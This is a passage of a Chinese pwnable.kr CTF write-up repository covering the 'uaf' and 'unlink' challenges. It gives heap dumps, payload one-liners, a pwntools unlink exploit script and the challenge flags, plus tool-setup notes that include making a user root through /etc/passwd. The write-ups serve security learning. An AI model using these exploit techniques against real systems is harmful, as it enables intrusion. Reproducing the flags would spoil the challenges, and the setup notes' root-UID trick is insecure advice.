$rax-16 47 | 0x401560 <_ZTV3Man>: 0x0000000000000000 0x00000000004015d0 <--typeinfo 48 | 0x401570 <_ZTV3Man+16>: 0x000000000040117a <--give_shell() 0x00000000004012d2 <--introduce() 49 | ``` 50 | 51 | 所以思路比较明确了,让Man+8的位置指向get_shell()而不是指向introduce()。 52 | 53 | --------- 54 | 55 | 先随便看看我们写入的东西在哪里吧 56 | 57 | 长度为 `24` 的时候 58 | ``` 59 | 0x788040: 0x0000000000401570 0x0000000000000019 60 | 0x788050: 0x0000000000788028 0x0000000000000031 61 | 0x788060: 0x0000000000000004 0x0000000000000004 62 | 0x788070: 0x0000000000000000 0x000000006c6c694a 63 | 0x788080: 0x0000000000000000 0x0000000000000021 64 | 0x788090: 0x0000000000401550 0x0000000000000015 65 | 0x7880a0: 0x0000000000788078 0x0000000000020f61 66 | 0x7880b0: 0x0000000000000000 0x0000000000000000 67 | 0x7880c0: 0x0000000000000000 0x0000000000000000 68 | 0x7880d0: 0x0000000000000000 0x0000000000000000 69 | 70 | 0x788040: 0xaaaaaaaaaaaaaaaa 0xaaaaaaaaaaaaaaaa 71 | 0x788050: 0xaaaaaaaaaaaaaaaa 0x0000000000000031 72 | 0x788060: 0x0000000000788000(这个是指向下一个free的fastbin的指针,在这里没啥用) 73 | 0x0000000000000004 74 | 0x788070: 0x00000000ffffffff 0x000000006c6c694a 75 | 0x788080: 0x0000000000000000 0x0000000000000021 76 | <---这里数据并没有改变,因为是0x30大小的东西,不会被填进去(文末会有填充规则) 77 | 0x788090: 0xaaaaaaaaaaaaaaaa 0xaaaaaaaaaaaaaaaa 78 | 0x7880a0: 0xaaaaaaaaaaaaaaaa 0x0000000000020f61(这个是指向堆顶的值) 79 | 0x7880b0: 0x0000000000000000 0x0000000000000000 80 | 0x7880c0: 0x0000000000000000 0x0000000000000000 81 | 0x7880d0: 0x0000000000000000 0x0000000000000000 82 | ``` 83 | 84 | 所以,我们写入的前8个byte会被认为是get_shell的地址,然后call(addr(get_shell)+8),将这8个byte改为addr(get_shell)-8就可以实现利用了。 85 | 86 | 于是我们写入`0x0000000000401568` + `0xaa*8` + `0xaa*8` 即可,当Man->introduce时候就会触发我们构造好的get_shell,之后输入 "3 2 1",发现并没有成功,下面分析一下失败的原因。 87 | 88 | 在free过后,有几个可以填充的区域大概如下图 89 | ``` 90 | +---------+----------+-----------+------------+--------+ 91 | |junk 0x30| Man 0x20 | junk 0x30 | Woman 0x20 | so big | 92 | +---------+----------+-----------+------------+--------+ 93 | ``` 94 | 经过debug,填充顺序是 Woman > Man > so big,所以我们321的话只写掉了Woman的数据,而call的时候是Man->introduce()再Woman->introduce(),前一句就会炸掉,所以利用不成功,之前还以为是 ~~Man>Woman>so big~~ 。 95 | 96 | 之后简单地改为 "3 2 2 1"即可拿到2次shell,分别是Man->introduce和Woman->introduce拿到的。当然,根据原理来看322222221也是可以的。 97 | 98 | 之后,我们来测试一下`junk 0x30`如何被利用,原理上是用 0x21~0x28的数据写的时候会申请0x30的空间,刚好可以覆盖的样子。 99 | 100 | ``` 101 | x/40 $eax - 0x40 102 | 0x1c60000: 0x0000000000000000 0x0000000000000031 103 | 0x1c60010: 0xaaaaaaaaaaaaaaaa 0xaaaaaaaaaaaaaaaa 104 | 0x1c60020: 0xaaaaaaaaaaaaaaaa 0xaaaaaaaaaaaaaaaa 105 | 0x1c60030: 0xaaaaaaaaaaaaaaaa 0x0000000000000021 106 | 0x1c60040: 0x0000000000000000 0x0000000000000019 107 | 0x1c60050: 0x0000000001c60028 0x0000000000000031 108 | 0x1c60060: 0xaaaaaaaaaaaaaaaa 0xaaaaaaaaaaaaaaaa 109 | 0x1c60070: 0xaaaaaaaaaaaaaaaa 0xaaaaaaaaaaaaaaaa 110 | 0x1c60080: 0xaaaaaaaaaaaaaaaa 0x0000000000000021 111 | 0x1c60090: 0x0000000001c60030 0x0000000000000015 112 | 0x1c600a0: 0x0000000001c60078 0x0000000000020f61 113 | 0x1c600b0: 0x0000000000000000 0x0000000000000000 114 | 0x1c600c0: 0x0000000000000000 0x0000000000000000 115 | 0x1c600d0: 0x0000000000000000 0x0000000000000000 116 | 0x1c600e0: 0x0000000000000000 0x0000000000000000 117 | 0x1c600f0: 0x0000000000000000 0x0000000000000000 118 | 0x1c60100: 0x0000000000000000 0x0000000000000000 119 | 0x1c60110: 0x0000000000000000 0x0000000000000000 120 | 0x1c60120: 0x0000000000000000 0x0000000000000000 121 | 0x1c60130: 0x0000000000000000 0x0000000000000000 122 | ``` 123 | 124 | 如图,我们覆盖成功了,同样,规则是优先覆盖右面的,然后覆盖左面的junk 0x30。 125 | 126 | 127 | 最后提供3种POC,利用的是 **Man->get_shell,Woman->get_shell,Humen->get_shell** 128 | 129 | ``` 130 | python -c "print '\x48\x15\x40\x00\x00\x00\x00\x00'+'\xaa'*90" > Woman 131 | python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'+'\xaa'*90" > Man 132 | python -c "print '\x88\x15\x40\x00\x00\x00\x00\x00'+'\xaa'*90" > Homan 133 | ./uaf 4~24均可 ./(Woman/Man/Human)均可 134 | ``` 135 | 136 | 文末讨论一下 new char[len]是写在什么地方的。 137 | 138 | 1. fastbin最小的chunk是0x20个byte,其真正数据长度1<=len<=24;即new char[1]~new char[24]本质上是一样的。64位的最小0x20,32位的最小0x18 139 | 2. 文中Woman、Man的chunk大小是0x20,故free掉时候多出2个0x20的空间 140 | 3. 由于我们申请的是1~24,即0x20,所以会填入Woman和Man,顺序在于Man是先free掉的,Woman后free,故填充时优先填充Woman 141 | 4. 多次申请0x18的时候,整个流程为 142 | 1. 看一眼woman,刚好,填充成功; 143 | 2. 看一眼man,刚好,填充成功; 144 | 3. 看一眼man之前的、之前的之前的,到头了,不成功,写入so big 145 | 4. 同3 146 | 5. 多次申请0x28的时候,我们是为了填充文中的junk 0x30(虽然没什么卵用),顺序依然是从后到前,表现与4描述的一样 147 | 6. fastbin的原则(用来解释目前遇到过的现象) 148 | 1. 单向链表存放 149 | 2. 申请的时候,挨个比较`chunk`的大小,若刚好相同,则填入 150 | 3. 若每个大小都不相同,则在`top`开一块内存 151 | 152 | 153 | flag 154 | `yay_f1ag_aft3r_pwning` 155 | -------------------------------------------------------------------------------- /Toddler's Bottle/unlink/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | context.log_level = 'debug' 4 | p = process('/home/unlink/unlink') 5 | p.recvuntil('leak: ') 6 | stack = int(p.recvline().strip(),base=16) 7 | p.recvuntil('leak: ') 8 | heap = int(p.recvline().strip(),base=16) 9 | p.recvline() 10 | s = "" 11 | s += 'A'*4*4 12 | s += p32(stack-0x20) 13 | s += p32(heap+0x50) 14 | s = s.ljust(0x50 - 0x0C, 'A') 15 | s += p32(heap+0x50+0x8) 16 | s += 'A'*0x4 17 | s += p32(0x080484eb) 18 | p.sendline(s) 19 | p.interactive() 20 | -------------------------------------------------------------------------------- /Toddler's Bottle/unlink/pic0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LeadroyaL/pwnable/f4f29f6a39c8b1fa395dd2bdaa3c73b35e81546d/Toddler's Bottle/unlink/pic0.png -------------------------------------------------------------------------------- /Toddler's Bottle/unlink/readme.md: -------------------------------------------------------------------------------- 1 | ### unlink 2 | 3 | 这题模拟的堆溢出的题型,比实际中的少了很多保护,利用起来比较简单。 4 | 5 | 思路:堆溢出造成的 **有一定限制的任意地址写** ,具体写哪里,然后这个题有info leak,可以搞一下。 6 | 7 | --- 8 | 9 | 每个结构体是0x10大小,看一下堆结构 10 | 11 | 0x804b410: 0x0804b428(fd) 0x00000000 0x3636363636363636(input) 0x00000000 0x00000019 12 | 0x804b428: 0x0804b440(fd) 0x0804b410(bk) 0x00000000 0x00000000 0x00000000 0x00000019 13 | 0x804b428: 0xaaaaaaaa(fd) 0xbbbbbbbb(bk) 0x00000000 0x00000000 0x00000000 0x00000019 14 | 0x804b440: 0x00000000(fd) 0x0804b428(bk) 0x00000000 0x00000000 0x00000000 0x00000409 15 | 16 | ``` 17 | void unlink(OBJ* B){ 18 | OBJ* BK; 19 | OBJ* FD; 20 | BK=B->bk; BK = 0xbbbbbbbb 21 | FD=B->fd; FD = 0xaaaaaaaa 22 | FD->bk=BK; [0xaaaaaaaa+4] 写为 0xbbbbbbbb 23 | BK->fd=FD; [0xbbbbbbbb] 写为 0xaaaaaaaa 24 | } 25 | ``` 26 | 27 | --- 28 | 29 | 这时候我有一个错误的思路,将栈地址上的main-ret写掉,有如下的exp 30 | 31 | `print '6'*4*4 +'\xbc\xbc\xa1\xbf'+'\xeb\x84\x04\x08'` 32 | 33 | 将`addr(A)+0x28`写为`0x080484EB` 34 | 35 | 即0xaaaaaaaa = 0x0804866C; 0xbbbbbbbb = 0x080484EB; 36 | 37 | 然后发现不可以这么做,因为堆的地址每次都会变,gdb关掉了这个功能,所以需要重新弄一下 38 | 39 | ---- 40 | 41 | 后来又想到一个问题,unlink是有两次写数据的,要让程序不崩掉,需要保证两处都是可以写的,上面我们的思路造成了两处写 42 | 43 | ``` 44 | stack[ret] = addr(get_shell) 45 | addr(get_shell) = addr(stack[ret]) 46 | (省略offset) 47 | ``` 48 | 49 | get_shell在text段,显然不可以写入数据,此思路gg 50 | 51 | 52 | 只能写`fini_array` 53 | 54 | 使用这个命令`readelf -S unlink` 55 | `[19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4` 56 | 57 | 表示程序执行完了以后,跳到0x8048f0c 58 | 59 | 但还是之前的问题 addr(FINI_ARRAY) 与 addr(get_shell)的地址会相互写入对方的附近,显然text段是不可以写的 60 | 61 | ----- 62 | 63 | **有写权限的段在IDA里ctrl+s是可以看的** 64 | 65 | ![pic0](pic0.png) 66 | 67 | 看来这题只能写栈和写堆,进行栈迁移,再使用ROP进行get_shell。 68 | 69 | 堆地址和栈地址均随机,好在这个题提供了这两个的位置。 70 | 71 | 1. 调用unlink的过程中,栈基本是不变的 72 | 73 | ``` 74 | push ebp 75 | mov ebp, esp 76 | xxx xxx 77 | leave <---mov esp,ebp; pop ebp; 78 | retn 79 | ``` 80 | 栈上存放的有【unlink-ebp, unlink-ret, main-ebp, main-ret】 81 | 能控制的也只有unlink-ebp了,其他的感觉没啥大用 82 | 83 | 2. 一开始的思路是,先控制unlink-ebp,返回到main里ebp还在,在下一个leave的时候,即可写掉rsp。但是经过[Himyth](https://github.com/Himyth)指点,这个是不可用的,因为下文直接把rsp写掉了。并且给出了下一种思路。 84 | 3. 观察main函数,里面有一句push esp、pop esp类似的话,eip是从栈上拿的 85 | 86 | ``` 87 | mov ecx, esp 88 | push ecx 89 | xxx xxx 90 | call unlink <--- 控制ebp 91 | xxx xxx 92 | mov ecx, DWORD PTR [ebp-0x4] <--- 控制ecx = [ebp-4] 93 | leave <--- esp = ebp; pop ebp; <===不重要 94 | lea esp, [ecx-0x4] <--- main-ret 控制esp = ecx-4 95 | ret 96 | ``` 97 | 我们可以将main-ret写掉,之后esp为我们写掉的数值,ret时候直接可以控制IP 98 | 99 | ----- 100 | 101 | 思路就用写掉esp的方法,从而在ret时候控制IP(即ROP)。之前思路错了那么多次也是惊呆了。 102 | 103 | 1. 计算offset 104 | 105 | stack: 106 | infoleak = 0xbfffef74; 107 | target = 0xbfffef58 <---target数值将来被写到ebp 108 | offset = -0x1C 109 | heap: 110 | infoleak = 0x804b410 <--addr(A) 111 | A->FD = base 112 | A->BK = base + 0x04 113 | input_string = base + 0x8 114 | B->FD = base + 0x18 115 | B->BK = base + 0x1C 116 | C->FD = base + 0x30 117 | D->BK = base + 0x34 118 | 119 | 2. 目标 120 | 将stack_target写为堆上的的地址 121 | 将堆布置好,将(ecx-4)写到堆上从而写到esp 122 | 123 | 3. 具体写入 124 | 这里有一个注意的,我们写是从heap_base+8开始写的,不是从+0开始写的。 125 | [B->FD+4]被写为B->BK 126 | [B->BK]被写为B->FD 127 | **B->FD+4 == target** 128 | **B->BK == addr(x)** (x就是ebp被写入的值) 129 | `x, y` 需要满足的条件为在堆上 130 | **y == [x-4]** (mov ecx, [ebp-4]) 131 | **esp == y-4** (mov esp, ecx-4) 132 | **[esp] = get_shell** (pop eip) 133 | ==> 134 | 令 x = heap_base + 0x50, y = heap_base + 0x54 135 | **B->FD = stack_infoleak - 0x1C - 4** 136 | **B->BK = heap_infoleak + 0x50** 137 | **[heap_base + 0x50 -8] = heap_infoleak + 0x58** 138 | **[heap_base + 0x50] = 0x080484ef** 139 | 140 | 4. 输入的string `'A'*4*4 + (stack_infoleak-0x20) + (heap_infoleak+0x50) + 'A'*0x2C + (heap_infoleak + 0x58) + 'AAAA' + addr(get_shell)` 141 | 142 | 143 | 144 | flag 145 | `conditional_write_what_where_from_unl1nk_explo1t` 146 | -------------------------------------------------------------------------------- /others/checksec种类.md: -------------------------------------------------------------------------------- 1 | ## checksec种类 2 | 3 | 在gdb-peda里,我们使用checksec可以看到当前程序的保护,有一下五条(随便找了一个程序) 4 | - CANARY : ENABLED 5 | - FORTIFY : disabled 6 | - NX : ENABLED 7 | - PIE : disabled 8 | - RELRO : Partial 9 | 10 | ### CANARY 11 | CANARY意为金丝雀保护,主要为了防止栈溢出。 12 | 13 | 目的是在call一个function的时候,先在stack上存一个FLAG,在运行结束的时候再去check FLAG,若相同,则表示通过了校验;不同的话,程序就会炸掉。 14 | 15 | 通常这个无法绕过,除非泄露了CANARY的值。 16 | 17 | ### FORTIFY 18 | 19 | ### NX 20 | 21 | ### PIE 22 | 23 | ### RELRO 24 | 25 | #### 参考文献 26 | -------------------------------------------------------------------------------- /others/关于IO.md: -------------------------------------------------------------------------------- 1 | 主要讲IO的东西 2 | 3 | ### scanf("%s") 4 | ### fgets() 5 | ### gets() 6 | ### read(0) 7 | -------------------------------------------------------------------------------- /others/环境搭建.md: -------------------------------------------------------------------------------- 1 | # 环境搭建 2 | 3 | 主要讲怎么安装软件。。。 4 | 5 | ### win10 bash 6 | bash里做的基本是`nc`,运行pwntools脚本,debug x86_64架构的程序,以及一些windows下的简单操作 7 | - 安装gdb-peda,一般不会出问题。 8 | - 按照顺序: 9 | - apt-get update 10 | - apt-get install git 11 | - git clone https://github.com/longld/peda.git ~/peda 12 | - echo "source ~/peda/peda.py" >> ~/.gdbinit 13 | - 安装pip,安装pwntools(提示缺什么就装什么) 14 | - 没遇到任何问题。。。 15 | 16 | ### 32位ubuntu14.04/16.04虚拟机 17 | 用来debug 32位的程序(在win10-bash里跑不起来) 18 | 19 | - Ubuntu14.04用virtualbox安装好之后,进入桌面只有640*480的分辨率并且无法修改,这是我们第一个要解决的问题。点击“安装增强功能”,跑一遍,重启即可 20 | - 共享文件夹的设置,主要是用来同步文件,先在virtualbox里设置好,自动挂载,固定分配。安装过增强功能后,即可在/media/xxx下发现我们的共享文件夹。但是这里需要root权限才可以去进行文件操作,没有找到好的解决方法,最后选择将当前用户改为0:0的root用户方便操作。 21 | - 将当前用户改为root用户。su以后,修改/etc/passwd的内容,将user那行的1000:1000改为0:0即可。之后重启(如果不重启会在终端中看到很神奇的现象) 22 | - 安装gdb-peda,一般不会出问题。 23 | - 按照顺序: 24 | - apt-get update 25 | - apt-get install git 26 | - git clone https://github.com/longld/peda.git ~/peda 27 | - echo "source ~/peda/peda.py" >> ~/.gdbinit 28 | - 安装pwntools,可能会出问题。 29 | - 按照顺序: 30 | - apt-get install python-pip 31 | - apt-get install python-dev (pwntools的依赖) 32 | - apt-get install pandoc (pwntools的依赖) 33 | - pip install pwntools (别着急执行,看完下面这段话) 34 | - 这里gg掉了,因为版本过高,高版本的pwntools只能再64位的python上运行 35 | - 官方给出的解释是https://github.com/Gallopsled/pwntools/issues/518 36 | - pip uninstall pwntools 37 | - pip install pwntools==2.2.0(一定要注明这个版本号!) 38 | 39 | ### 64位ubuntu14.04云服务器 40 | 用来当做在线nc的测试 41 | - 安装gdb-peda,与上文相同 42 | - 安装pwntools,与win10-bash相同 43 | - 安装socat 44 | - apt-get install socat 45 | - 部署elf 46 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | ### 炒鸡菜的LeadroyaL学习pwnable的超详细writeup 2 | 3 | --- 4 | 5 | 由于pwnable不允许公开除了`Toddle's Bottle`外的题目和很多人做出来的题目之外的writeup,故此repo不再更新,我将建立私有仓库[pwnable-private](https://github.com/pwnable-private)来记录剩下的三个章节。如有需要者,我可以考虑给你阅读权限。 6 | 7 | 8 | - solved 9 | - Toddle's Bottle 10 | - asm 11 | - blackjack 12 | - bof 13 | - cmd1 14 | - cmd2 15 | - codemap 16 | - coin1 17 | - col 18 | - fd 19 | - flag 20 | - input 21 | - leg 22 | - lotto 23 | - memcpy 24 | - mistake 25 | - passcode 26 | - random 27 | - shellshock 28 | - uaf 29 | - unlink 30 | --------------------------------------------------------------------------------